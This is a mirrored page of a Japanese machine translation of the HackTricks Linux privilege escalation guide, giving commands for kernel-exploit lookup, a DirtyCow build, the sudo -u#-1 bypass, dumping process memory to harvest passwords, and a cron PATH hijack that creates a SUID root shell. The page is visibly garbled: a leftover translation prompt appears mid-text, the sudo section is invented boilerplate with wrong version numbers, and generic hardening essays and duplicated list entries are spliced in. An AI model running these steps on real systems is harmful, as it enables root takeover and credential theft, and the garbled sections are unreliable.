mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 17:28:13 +00:00

History

Translator 2f907a2cf4 Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat		2023-09-28 20:14:46 +00:00
..
docker-security	Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat	2023-09-28 20:14:46 +00:00
interesting-groups-linux-pe	Translated to Japanese	2023-07-07 23:42:27 +00:00
cisco-vmanage.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
containerd-ctr-privilege-escalation.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
d-bus-enumeration-and-command-injection-privilege-escalation.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
electron-cef-chromium-debugger-abuse.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
escaping-from-limited-bash.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
euid-ruid-suid.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
ld.so.conf-example.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
linux-active-directory.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
linux-capabilities.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
logstash.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
nfs-no_root_squash-misconfiguration-pe.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
payloads-to-execute.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
README.md	Translated ['linux-hardening/privilege-escalation/README.md'] to jp	2023-08-29 18:16:38 +00:00
runc-privilege-escalation.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
selinux.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
socket-command-injection.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
splunk-lpe-and-persistence.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
ssh-forward-agent-exploitation.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
wildcards-spare-tricks.md	Translated to Japanese	2023-07-07 23:42:27 +00:00
write-to-root.md	Translated to Japanese	2023-07-07 23:42:27 +00:00

README.md

Linux特権エスカレーション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

サイバーセキュリティ企業で働いていますか？ HackTricksで会社を宣伝したいですか？または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
公式のPEASS＆HackTricksグッズを手に入れましょう。
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。

システム情報

OS情報

まず、実行しているOSの情報を知ることから始めましょう。

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

パス

もしPATH変数内のどのフォルダに対しても書き込み権限を持っている場合、いくつかのライブラリやバイナリを乗っ取ることができるかもしれません。

echo $PATH

環境情報

環境変数において、興味深い情報、パスワード、またはAPIキーはありますか？

(env || set) 2>/dev/null

カーネルの脆弱性

カーネルのバージョンを確認し、特権を昇格させるために使用できる脆弱性があるかどうかをチェックします。

cat /proc/version
uname -a
searchsploit "Linux Kernel"

以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルlinux-hardening/privilege-escalation/README.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前（Workspace、aws、gcpなど）、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。

https://github.com/lucyoa/kernel-exploitsとexploitdb sploitsには、良い脆弱なカーネルのリストとすでにコンパイルされたエクスプロイトがあります。

他のサイトでコンパイルされたエクスプロイトを見つけることができる場所: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

そのウェブからすべての脆弱なカーネルバージョンを抽出するには、次のようにします:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

カーネルの脆弱性を検索するのに役立つツールは次のとおりです：

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py（被害者で実行し、カーネル2.xの脆弱性のみをチェックします）

常にGoogleでカーネルのバージョンを検索してください。おそらくカーネルのバージョンがカーネルの脆弱性に記載されており、その脆弱性が有効であることが確認できます。

CVE-2016-5195（DirtyCow）

Linux特権エスカレーション - Linuxカーネル <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudoのバージョン

以下に示す脆弱なsudoのバージョンに基づいています。

searchsploit sudo

次のgrepを使用して、sudoのバージョンが脆弱かどうかを確認できます。

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

@sickrov から

概要

この脆弱性は、sudoバージョン1.28より前のバージョンで見つかりました。攻撃者は、特権昇格を行うためにsudoを悪用することができます。

詳細

この脆弱性は、sudoのバージョン1.28より前のバージョンで見つかりました。攻撃者は、特権昇格を行うためにsudoを悪用することができます。

影響

この脆弱性は、sudoバージョン1.28より前のバージョンに影響を与えます。

対策

この脆弱性を修正するためには、sudoをバージョン1.28以上にアップグレードする必要があります。

参考情報

sudo -u#-1 /bin/bash

Dmesg署名の検証に失敗しました

この脆弱性がどのように悪用されるかの例として、HTBのsmasher2ボックスを確認してください。

dmesg 2>/dev/null | grep "signature"

より詳細なシステム列挙

In addition to the basic system enumeration techniques mentioned earlier, there are several other methods that can be used to gather information about the target system. These techniques can help in identifying potential vulnerabilities and privilege escalation opportunities.

1. Process Enumeration

By enumerating the running processes on the system, you can identify any processes that are running with elevated privileges or are associated with vulnerable services. This can provide valuable information for further exploitation.

To enumerate the running processes, you can use the ps command or tools like top or htop. Look for processes that are running as root or with other privileged user accounts.

2. Network Enumeration

Network enumeration involves gathering information about the network interfaces, open ports, and active connections on the target system. This can help in identifying potential entry points and services that can be targeted for exploitation.

To enumerate the network, you can use tools like netstat, nmap, or ss. These tools can provide information about open ports, established connections, and listening services.

3. File System Enumeration

Enumerating the file system can help in identifying sensitive files, misconfigured permissions, and potential areas for privilege escalation. By examining file and directory permissions, you can identify files that are readable or writable by privileged users.

To enumerate the file system, you can use commands like ls, find, or tree. Look for files or directories that are owned by privileged users or have world-writable permissions.

4. Service Enumeration

Service enumeration involves identifying the services running on the target system and gathering information about their versions, configurations, and vulnerabilities. This can help in identifying services that are outdated or misconfigured, which can be exploited for privilege escalation.

To enumerate services, you can use tools like nmap, enum4linux, or smtp-user-enum. These tools can provide information about open ports, running services, and potential vulnerabilities.

5. User Enumeration

User enumeration involves gathering information about the user accounts on the target system. This can help in identifying privileged accounts or accounts with weak passwords that can be targeted for privilege escalation.

To enumerate user accounts, you can use commands like cat /etc/passwd, getent passwd, or tools like enum4linux. Look for user accounts with administrative privileges or weak passwords.

By combining these techniques with the basic system enumeration methods, you can gather a comprehensive understanding of the target system and identify potential vulnerabilities and privilege escalation opportunities.

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

AppArmorは、Linuxカーネルのセキュリティモジュールであり、アプリケーションの実行時にアクセス制御を提供します。AppArmorは、プロセスが許可されたアクションのみを実行できるように制限し、特権昇格攻撃を防ぐ役割を果たします。

SELinux

SELinuxは、Linuxシステムのセキュリティ強化を目的としたセキュリティ拡張モジュールです。SELinuxは、アクセス制御ポリシーを適用して、プロセスの特権昇格攻撃を防ぎます。また、ファイルやディレクトリのセキュリティコンテキストを管理することで、システムのセキュリティを向上させます。

ユーザー権限の制限

特権昇格攻撃を防ぐために、ユーザーの権限を制限することが重要です。特権ユーザーとしてのアクセスが必要な場合でも、最小限の特権で作業するように心がけましょう。また、不要な特権を持つユーザーアカウントを削除することも重要です。

パッチとアップデート

システムのセキュリティを強化するためには、常に最新のパッチとアップデートを適用することが重要です。セキュリティの脆弱性が修正されたパッチを適用することで、特権昇格攻撃を防ぐことができます。

強力なパスワードポリシー

強力なパスワードポリシーを実施することも、特権昇格攻撃からシステムを保護するために重要です。パスワードの長さ、複雑さ、定期的な変更を要求することで、セキュリティを向上させることができます。

ログ監視

ログ監視は、特権昇格攻撃を検知するために重要な手段です。ログファイルを監視し、異常なアクティビティや特権ユーザーの不正なアクセスを検知することで、攻撃を早期に発見し対処することができます。

ファイアウォール

ファイアウォールは、ネットワークトラフィックを制御するための重要なセキュリティツールです。特権昇格攻撃を防ぐために、適切なファイアウォールルールを設定し、不正なアクセスをブロックすることが重要です。

ファイルシステムの暗号化

ファイルシステムの暗号化は、データの機密性を保護するために重要です。特権昇格攻撃によるデータの漏洩を防ぐために、重要なファイルシステムを暗号化することが推奨されます。

ネットワークセグメンテーション

ネットワークセグメンテーションは、ネットワーク内のセキュリティを強化するための重要な手法です。特権昇格攻撃からシステムを保護するために、ネットワークをセグメントに分割し、セグメント間の通信を制限することが重要です。

ファイルとディレクトリのアクセス制御

ファイルとディレクトリのアクセス制御は、特権昇格攻撃からシステムを保護するために重要です。不要なアクセス権を持つファイルやディレクトリを制限し、必要な権限のみを許可することで、セキュリティを向上させることができます。

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurityは、Linuxカーネルのセキュリティを向上させるためのパッチセットです。このパッチセットは、特権昇格攻撃やメモリの乱用などの一般的な攻撃からシステムを保護するための機能を提供します。

Grsecurityは、以下の主な機能を提供します。

プロセスの制限: Grsecurityは、プロセスの実行権限を制限するための機能を提供します。これにより、攻撃者が特権昇格攻撃を行うことを困難にします。
メモリ保護: Grsecurityは、メモリの乱用からシステムを保護するための機能を提供します。これにより、バッファオーバーフローやヒープオーバーフローなどの攻撃を防ぐことができます。
システムコールフィルタリング: Grsecurityは、システムコールの使用を制限するための機能を提供します。これにより、不正なシステムコールを使用した攻撃を防ぐことができます。
ファイルシステム保護: Grsecurityは、ファイルシステムの保護を強化するための機能を提供します。これにより、不正なファイルアクセスやファイルの改ざんを防ぐことができます。

Grsecurityは、Linuxシステムのセキュリティを向上させるための強力なツールです。その機能を活用することで、システムの脆弱性を最小限に抑えることができます。

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

PaX is a patch for the Linux kernel that provides various security enhancements, including protection against privilege escalation attacks. It works by implementing several memory protection mechanisms, such as Address Space Layout Randomization (ASLR) and Executable Space Protection (ESP).

Address Space Layout Randomization (ASLR)

ASLR is a technique that randomizes the memory layout of processes, making it difficult for attackers to predict the location of critical system components. This helps prevent buffer overflow and other memory-based attacks.

Executable Space Protection (ESP)

ESP prevents the execution of code in certain memory regions that are typically used for data storage. By marking these regions as non-executable, PaX prevents attackers from injecting and executing malicious code.

Other PaX Features

In addition to ASLR and ESP, PaX also includes other security features such as:

Non-executable stack: Prevents the execution of code on the stack, reducing the risk of stack-based buffer overflow attacks.
Address Space Layout Randomization for the Kernel (KASLR): Randomizes the memory layout of the kernel, making it harder for attackers to exploit kernel vulnerabilities.
ProPolice: Protects against stack-smashing attacks by adding stack canaries, which are values placed between variables and return addresses to detect buffer overflows.
Role-based Access Control (RBAC): Provides fine-grained access control based on user roles, allowing administrators to define and enforce access policies.

Enabling PaX

To enable PaX on your Linux system, you need to apply the PaX patch to your kernel source code and recompile the kernel. The PaX patch is available for different kernel versions, so make sure to choose the correct one for your system.

After applying the patch and recompiling the kernel, you can enable specific PaX features by setting the corresponding kernel parameters. These parameters can be set in the bootloader configuration or using the sysctl command.

Conclusion

PaX is a powerful security enhancement for the Linux kernel that provides protection against privilege escalation attacks. By implementing features such as ASLR, ESP, and RBAC, PaX helps to harden the system and make it more resistant to various types of attacks. Enabling PaX requires patching and recompiling the kernel, but the added security benefits make it worth the effort.

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshieldは、Linuxカーネルのセキュリティ機能の1つです。これは、実行可能なメモリ領域を保護するために使用されます。具体的には、Execshieldは、スタックとヒープのオーバーフロー、バッファオーバーフロー、およびその他のメモリ関連の脆弱性からシステムを保護します。

Execshieldは、以下の2つの主要な機能で構成されています。

ASLR（アドレス空間配置のランダム化）：ASLRは、プロセスのメモリ領域の配置をランダム化することで、攻撃者が特定のメモリアドレスを予測することを困難にします。これにより、攻撃者が悪意のあるコードを実行するために必要なメモリアドレスを特定することが難しくなります。
NXビット（実行可能ビット）：NXビットは、メモリ領域に実行可能なコードが存在するかどうかを制御します。これにより、攻撃者がデータ領域に配置された悪意のあるコードを実行することを防ぎます。NXビットが有効になっている場合、データ領域に配置されたコードは実行されず、攻撃が阻止されます。

Execshieldは、Linuxシステムのセキュリティを向上させるために広く使用されています。これにより、悪意のある攻撃からシステムを保護し、特に特権エスカレーション攻撃から守ることができます。

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux（Security-Enhanced Linux）は、Linuxカーネルに組み込まれたセキュリティ機能です。SElinuxは、アクセス制御ポリシーを強制し、特権昇格攻撃などのセキュリティリスクを軽減するために使用されます。

SElinuxは、カーネルレベルでのアクセス制御を提供します。これにより、プロセスやファイルへのアクセスを制限し、悪意のあるユーザーがシステムに侵入して悪用することを防ぐことができます。

SElinuxは、ポリシーベースのアクセス制御を使用しています。これにより、各プロセスやファイルに対して許可されたアクションのみが実行されるように制限されます。ポリシーは、ファイルのセキュリティコンテキストと呼ばれるラベルを使用して管理されます。

SElinuxの設定は、/etc/selinux/configファイルで行われます。このファイルでは、SElinuxの有効化、無効化、モードの設定などを行うことができます。

SElinuxは、Linuxシステムのセキュリティを向上させるための重要なツールです。適切に設定されたSElinuxは、特権昇格攻撃などのセキュリティリスクを最小限に抑えることができます。

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR (Address Space Layout Randomization) is a security technique used to prevent attackers from predicting the memory addresses of system components. By randomizing the memory layout, ASLR makes it difficult for attackers to exploit memory vulnerabilities and execute arbitrary code.

ASLR works by randomly arranging the positions of key data areas, such as the stack, heap, and libraries, in a process's address space. This makes it challenging for attackers to locate and exploit specific memory regions, as the addresses will be different each time the system is booted or a process is executed.

To enable ASLR on Linux systems, you can use the sysctl command to modify the kernel parameters. The kernel.randomize_va_space parameter controls the level of ASLR protection. A value of 0 disables ASLR, while a value of 2 enables full ASLR. The recommended value is 2 for maximum security.

To check the current ASLR status, you can use the sysctl command with the kernel.randomize_va_space parameter. If the value is 2, ASLR is enabled.

Keep in mind that while ASLR is an effective security measure, it is not foolproof. Advanced attackers may still find ways to bypass ASLR using techniques such as information leaks or brute-force attacks. Therefore, it is important to implement other security measures in conjunction with ASLR to ensure comprehensive protection against privilege escalation attacks.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Dockerコンテナ内にいる場合、脱出を試みることができます：

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

ドライブ

マウントされているものとアンマウントされているもの、どこにあるか、なぜそうなっているかを確認してください。アンマウントされているものがあれば、マウントしてプライベート情報をチェックすることができます。

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

便利なソフトウェア

有用なバイナリを列挙する

- [find](https://man7.org/linux/man-pages/man1/find.1.html): ファイルやディレクトリを検索するための強力なツール
- [sudo](https://man7.org/linux/man-pages/man8/sudo.8.html): 特権ユーザーとしてコマンドを実行するためのツール
- [su](https://man7.org/linux/man-pages/man1/su.1.html): 別のユーザーに切り替えるためのツール
- [chown](https://man7.org/linux/man-pages/man1/chown.1.html): ファイルやディレクトリの所有者を変更するためのツール
- [chmod](https://man7.org/linux/man-pages/man1/chmod.1.html): ファイルやディレクトリのアクセス権を変更するためのツール
- [chroot](https://man7.org/linux/man-pages/man2/chroot.2.html): ルートディレクトリを変更してプロセスを実行するためのツール
- [passwd](https://man7.org/linux/man-pages/man1/passwd.1.html): ユーザーのパスワードを変更するためのツール
- [crontab](https://man7.org/linux/man-pages/man1/crontab.1.html): タスクを定期的に実行するためのツール
- [ssh](https://man7.org/linux/man-pages/man1/ssh.1.html): セキュアなリモートログインやファイル転送を行うためのツール
- [scp](https://man7.org/linux/man-pages/man1/scp.1.html): リモートホストとのファイル転送を行うためのツール
- [wget](https://man7.org/linux/man-pages/man1/wget.1.html): インターネット上のファイルをダウンロードするためのツール
- [curl](https://man7.org/linux/man-pages/man1/curl.1.html): インターネット上のデータを転送するためのツール
- [tar](https://man7.org/linux/man-pages/man1/tar.1.html): ファイルやディレクトリをアーカイブするためのツール
- [zip](https://man7.org/linux/man-pages/man1/zip.1.html): ファイルやディレクトリを圧縮するためのツール
- [unzip](https://man7.org/linux/man-pages/man1/unzip.1.html): 圧縮されたファイルを解凍するためのツール
- [grep](https://man7.org/linux/man-pages/man1/grep.1.html): ファイル内のパターンに一致する行を検索するためのツール
- [sed](https://man7.org/linux/man-pages/man1/sed.1.html): テキスト処理を行うためのツール
- [awk](https://man7.org/linux/man-pages/man1/awk.1.html): テキスト処理とパターンマッチングを行うためのツール
- [nc](https://man7.org/linux/man-pages/man1/nc.1.html): ネットワーク接続を確立するためのツール
- [nmap](https://man7.org/linux/man-pages/man1/nmap.1.html): ネットワークスキャンを実行するためのツール
- [tcpdump](https://man7.org/linux/man-pages/man1/tcpdump.1.html): ネットワークトラフィックをキャプチャするためのツール
- [wireshark](https://www.wireshark.org/): ネットワークトラフィックを解析するためのツール
- [ps](https://man7.org/linux/man-pages/man1/ps.1.html): 実行中のプロセスを表示するためのツール
- [top](https://man7.org/linux/man-pages/man1/top.1.html): システムのリソース使用状況を表示するためのツール
- [kill](https://man7.org/linux/man-pages/man1/kill.1.html): プロセスを終了するためのツール
- [netstat](https://man7.org/linux/man-pages/man8/netstat.8.html): ネットワーク接続やルーティングテーブルを表示するためのツール
- [ifconfig](https://man7.org/linux/man-pages/man8/ifconfig.8.html): ネットワークインターフェースの設定を表示するためのツール
- [iptables](https://man7.org/linux/man-pages/man8/iptables.8.html): ファイアウォールの設定を行うためのツール
- [ss](https://man7.org/linux/man-pages/man8/ss.8.html): ソケットの状態を表示するためのツール
- [lsof](https://man7.org/linux/man-pages/man8/lsof.8.html): オープンされているファイルやネットワーク接続を表示するためのツール
- [strace](https://man7.org/linux/man-pages/man1/strace.1.html): プロセスのシステムコールをトレースするためのツール
- [ldd](https://man7.org/linux/man-pages/man1/ldd.1.html): 実行ファイルが依存している共有ライブラリを表示するためのツール
- [file](https://man7.org/linux/man-pages/man1/file.1.html): ファイルの種類を判別するためのツール
- [strings](https://man7.org/linux/man-pages/man1/strings.1.html): バイナリファイル内の文字列を表示するためのツール
- [hexdump](https://man7.org/linux/man-pages/man1/hexdump.1.html): バイナリファイルを16進数で表示するためのツール
- [objdump](https://man7.org/linux/man-pages/man1/objdump.1.html): 実行ファイルやオブジェクトファイルの情報を表示するためのツール
- [gdb](https://man7.org/linux/man-pages/man1/gdb.1.html): プログラムのデバッグや解析を行うためのツール
- [strace](https://man7.org/linux/man-pages/man1/strace.1.html): プロセスのシステムコールをトレースするためのツール
- [ldd](https://man7.org/linux/man-pages/man1/ldd.1.html): 実行ファイルが依存している共有ライブラリを表示するためのツール
- [file](https://man7.org/linux/man-pages/man1/file.1.html): ファイルの種類を判別するためのツール
- [strings](https://man7.org/linux/man-pages/man1/strings.1.html): バイナリファイル内の文字列を表示するためのツール
- [hexdump](https://man7.org/linux/man-pages/man1/hexdump.1.html): バイナリファイルを16進数で表示するためのツール
- [objdump](https://man7.org/linux/man-pages/man1/objdump.1.html): 実行ファイルやオブジェクトファイルの情報を表示するためのツール
- [gdb](https://man7.org/linux/man-pages/man1/gdb.1.html): プログラムのデバッグや解析を行うためのツール

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

また、コンパイラがインストールされているかどうかも確認してください。これは、カーネルのエクスプロイトを使用する必要がある場合に役立ちます。エクスプロイトをコンパイルする場合は、使用するマシン（または類似のマシン）でコンパイルすることが推奨されています。

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

インストールされた脆弱性のあるソフトウェア

インストールされたパッケージとサービスのバージョンを確認してください。たとえば、特定の古いNagiosのバージョンがある場合、特権のエスカレーションに悪用される可能性があります...
より疑わしいインストールされたソフトウェアのバージョンを手動で確認することをおすすめします。

dpkg -l #Debian
rpm -qa #Centos

もしマシンへのSSHアクセス権限がある場合、openVASを使用してマシン内にインストールされた古くて脆弱なソフトウェアをチェックすることもできます。

{% hint style="info" %} これらのコマンドはほとんど役に立たない情報を表示する可能性があるため、既知の脆弱性に対してインストールされたソフトウェアのバージョンが脆弱かどうかをチェックするために、OpenVASや同様のアプリケーションを使用することをお勧めします {% endhint %}

プロセス

実行されているプロセスを確認し、それ以上の権限を持つプロセスがないかどうかをチェックしてください（たとえば、rootで実行されているtomcatなど）。

ps aux
ps -ef
top -n 1

常に実行中のelectron/cef/chromiumデバッガーを確認し、特権をエスカレーションするために悪用する可能性があります。Linpeasは、プロセスのコマンドライン内の--inspectパラメータをチェックすることでこれらを検出します。
また、プロセスのバイナリに対する特権を確認してください。他のユーザーに属するプロセスのメモリを上書きすることができるかもしれません。

プロセスの監視

pspyのようなツールを使用してプロセスを監視することができます。これは、脆弱なプロセスが頻繁に実行されるか、一連の要件が満たされたときに特に役立ちます。

プロセスのメモリ

サーバーの一部のサービスは、クリアテキストで資格情報をメモリ内に保存します。
通常、他のユーザーに属するプロセスのメモリを読み取るにはルート特権が必要です。そのため、これは通常、既にルートユーザーであり、さらに資格情報を発見したい場合により有用です。
ただし、通常のユーザーとして所有するプロセスのメモリを読み取ることができます。

{% hint style="warning" %} 現在では、ほとんどのマシンはデフォルトでptraceを許可していません。つまり、特権のないユーザーに属する他のプロセスをダンプすることはできません。

ファイル_/proc/sys/kernel/yama/ptrace_scope_は、ptraceのアクセシビリティを制御します：

kernel.yama.ptrace_scope = 0：すべてのプロセスは、同じuidを持っている限りデバッグできます。これは、ptracingが動作する古典的な方法です。
kernel.yama.ptrace_scope = 1：親プロセスのみがデバッグできます。
kernel.yama.ptrace_scope = 2：管理者のみがptraceを使用できます。CAP_SYS_PTRACE機能が必要です。
kernel.yama.ptrace_scope = 3：ptraceでプロセスをトレースできません。設定した後、再起動が必要です。 {% endhint %}

GDB

FTPサービスのメモリにアクセスできる場合（例えば）、ヒープを取得し、その資格情報を検索することができます。

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDBスクリプト

{% code title="dump-memory.sh" %}

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

{% endcode %}

/proc/$pid/maps & /proc/$pid/mem

特定のプロセスIDに対して、mapsはそのプロセスの仮想アドレス空間内でメモリがマップされている方法を示し、また、各マップされた領域のアクセス権限も示します。mem擬似ファイルは、プロセスのメモリ自体を公開します。mapsファイルからは、読み取り可能なメモリ領域とそのオフセットがわかります。この情報を使用して、memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします。

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/memはシステムの物理メモリにアクセスするためのものであり、仮想メモリではありません。カーネルの仮想アドレス空間には/dev/kmemを使用してアクセスできます。
通常、/dev/memはrootとkmemグループのみが読み取り可能です。

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDumpは、WindowsのSysinternalsツールスイートのクラシックなProcDumpツールのLinux版です。https://github.com/Sysinternals/ProcDump-for-Linuxで入手できます。

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

ツール

プロセスのメモリをダンプするためには、以下のツールを使用することができます：

https://github.com/Sysinternals/ProcDump-for-Linux
https://github.com/hajzer/bash-memory-dump (root) - _rootの要件を手動で削除し、所有しているプロセスをダンプすることができます
https://www.delaat.net/rp/2016-2017/p97/report.pdfのスクリプトA.5 (rootが必要です)

プロセスメモリからの資格情報

手動の例

もし、認証プロセスが実行されていることがわかった場合：

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

プロセスをダンプすることができます（プロセスのメモリをダンプするさまざまな方法については、前のセクションを参照してください）。メモリ内の資格情報を検索します。

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

ツールhttps://github.com/huntergregal/mimipenguinは、メモリと一部のよく知られたファイルから平文の資格情報を盗みます。正しく動作するためには、ルート権限が必要です。

機能	プロセス名
GDMパスワード（Kaliデスクトップ、Debianデスクトップ）	gdm-password
Gnome Keyring（Ubuntuデスクトップ、ArchLinuxデスクトップ）	gnome-keyring-daemon
LightDM（Ubuntuデスクトップ）	lightdm
VSFTPd（アクティブなFTP接続）	vsftpd
Apache2（アクティブなHTTP Basic認証セッション）	apache2
OpenSSH（アクティブなSSHセッション - Sudo使用）	sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

スケジュールされた/Cronジョブ

脆弱性のあるスケジュールされたジョブがないか確認してください。おそらく、rootによって実行されるスクリプトを利用することができます（ワイルドカードの脆弱性？rootが使用するファイルを変更できますか？シンボリックリンクを使用しますか？rootが使用するディレクトリに特定のファイルを作成しますか？）。

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cronのパス

例えば、/etc/crontab 内にはPATHが記述されています: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(ユーザー「user」が/home/userに対して書き込み権限を持っていることに注意してください)

もし、このcrontab内でrootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとした場合、例えば: * * * * root overwrite.sh
その場合、以下の方法でrootシェルを取得することができます:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

スクリプト内のワイルドカードを使用したCron（ワイルドカードインジェクション）

もしルートユーザーによって実行されるスクリプト内のコマンドに「***」が含まれている場合、これを悪用して予期しないこと（例えば特権昇格）を行うことができます。例：

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

ワイルドカードが _/some/path/* のようなパスの前にある場合、脆弱ではありません（ _./* も同様です）。

ワイルドカードの悪用に関するさらなるトリックについては、次のページを参照してください：

{% content-ref url="wildcards-spare-tricks.md" %} wildcards-spare-tricks.md {% endcontent-ref %}

Cronスクリプトの上書きとシンボリックリンク

rootユーザーが実行するcronスクリプトを変更できる場合、非常に簡単にシェルを取得できます：

